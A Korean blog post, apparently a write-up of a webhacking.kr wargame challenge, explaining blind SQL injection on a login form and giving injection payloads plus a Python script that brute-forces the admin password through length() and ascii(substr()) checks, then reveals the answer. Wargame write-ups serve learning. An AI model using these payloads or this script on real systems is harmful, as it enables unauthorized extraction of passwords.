티스토리 뷰
여덟번째 글.
친절하게 Blind SQL Injection(이하 Blind Injection)이라고 써있다.
Blind Injection이란 쿼리의 결과를 참과 거짓만으로 나타내서 DB의 정보를 알아내는 Injection 공격 방법이다.
guest / guest로 입력을 했을 때 정상적으로 로그인이 되는것을 볼 수 있다.
너무나 당연한 이야기지만 admin / admin으로 했을 떄는 로그인이 되지않고 login fail이 뜬다.
여기서 간단한 Blind Injection을 해 보겠다.
이렇게 admin' or '1=2 / 1234 이렇게 넣어줬다(혹시나 해서 확인차 admin계정이 있는지 확인해 보았다)
그결과는 wrong password라고 뜬다.
여기서 유추할 수 있는 것은 login fail이 false 인 것 같고 wrong password가 true 인 것 같다.
또한 SELECT를 쓰면 no hack이라고 뜨고 먹히질 않았다.
많은 삽질을 한뒤 length()와 substr(), ascii()를 통해서 문제를 풀 수 있었다.
admin / admin' or length(pw) > 1#
이렇게 넣어줬는데 wrong password가 뜨는걸 보니 패스워드는 길이가 1이상이다.
맨 끝에 #은 뒤에나오는 문자들을 모두 무시한다. (;와 비슷한 역할을 한다)
정말 운이 좋게 어떤 테이블의 pw라는 이름의 컬럼이 있기 때문에 가능한 일이다.
admin / admin' or ascii(substr(pw,index,1))=아스키코드 10진수값#
그 다음 pw의 길이를 알았으면 위와 같은 방식으로
파이썬코드를 이용하여 pw의 첫글자부터 아스키코드의 10진수값을 하나씩 확인 하였다.
아래는 파이썬 코드이다.
import requests
url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSIONID' : '자신의 session id'}
length = 1
while True : #비밀번호 길이 알아내기
param = f"?id=admin&pw=%27+or+length%28pw%29+=+{length}%23"
request = requests.get(url+param, cookies = cookie)
if (request.text.find("wrong password") !=-1) & (length !=5) : # guest계정의 비번은 guest이기 때문에 pw의 길이가 5일때 걸러줘야한다.
break
length +=1
print("password length : ", length)
password = ''
for i in range(0,length+1): # 비밀번호 값 알아내기
for j in range(33, 127):
param = f"?id=admin&pw=%27+or+ascii%28substr%28pw%2C{i+1}%2C1%29%29+=+{j}%23"
request = requests.get(url + param, cookies=cookie)
if request.text.find("wrong password") !=-1:
print(chr(j))
password += chr(j)
break
파이썬 코드를 돌리게 되면 pw값이 ghere_is_no_rest_for_the_white_angel 이렇게 나오는데
틀린 값이다 왜냐하면 guest / guest로도 로그인이 되기때문에 pw는 guest를 포함하기 때문에
앞에가 g로 나온것이다. 문장을 유추해보면 ghere가 아니라 there임을 알 수 있다.
(코드에서도 33부터 돌기때문에 g가 t보다 앞에있으므로 g가 출력된 것이다 귀찮아서 따로 예외처리해주지 않았음 ㅋ)
'writeup > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] 33번 문제(old) (0) | 2020.08.07 |
---|---|
[Webhacking.kr] 32번 문제(old) (0) | 2020.08.06 |
[Webhacking.kr] 22번 문제(old) (0) | 2020.08.05 |
[Webhacking.kr] 19번 문제(old) (0) | 2020.07.30 |
[Webhacking.kr] 12번 문제(old) (0) | 2020.07.29 |
- Total
- Today
- Yesterday
- csp
- Lord of SQL injection
- wargame
- 웹해킹
- csp bypass
- dreamhack web-alasql
- Windows Fundamentals
- 드림핵 Relative Path Overwrite
- 드림핵 padding oracle
- dreamhack DOM XSS
- hackerfactory
- php LFI
- htb
- 해커팩토리
- 드림핵
- blind injection
- LFI vulnerability
- WebHacking
- xxe injection
- 드림핵 DOM XSS
- dreamhack padding oracle
- CSS Injection
- hack the box
- dreamhack CSS Injection
- htb Windows Fundametals
- DreamHack
- dreamhack Relative Path Overwrite
- SQL Injection
- webhacking.kr
- alasql
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |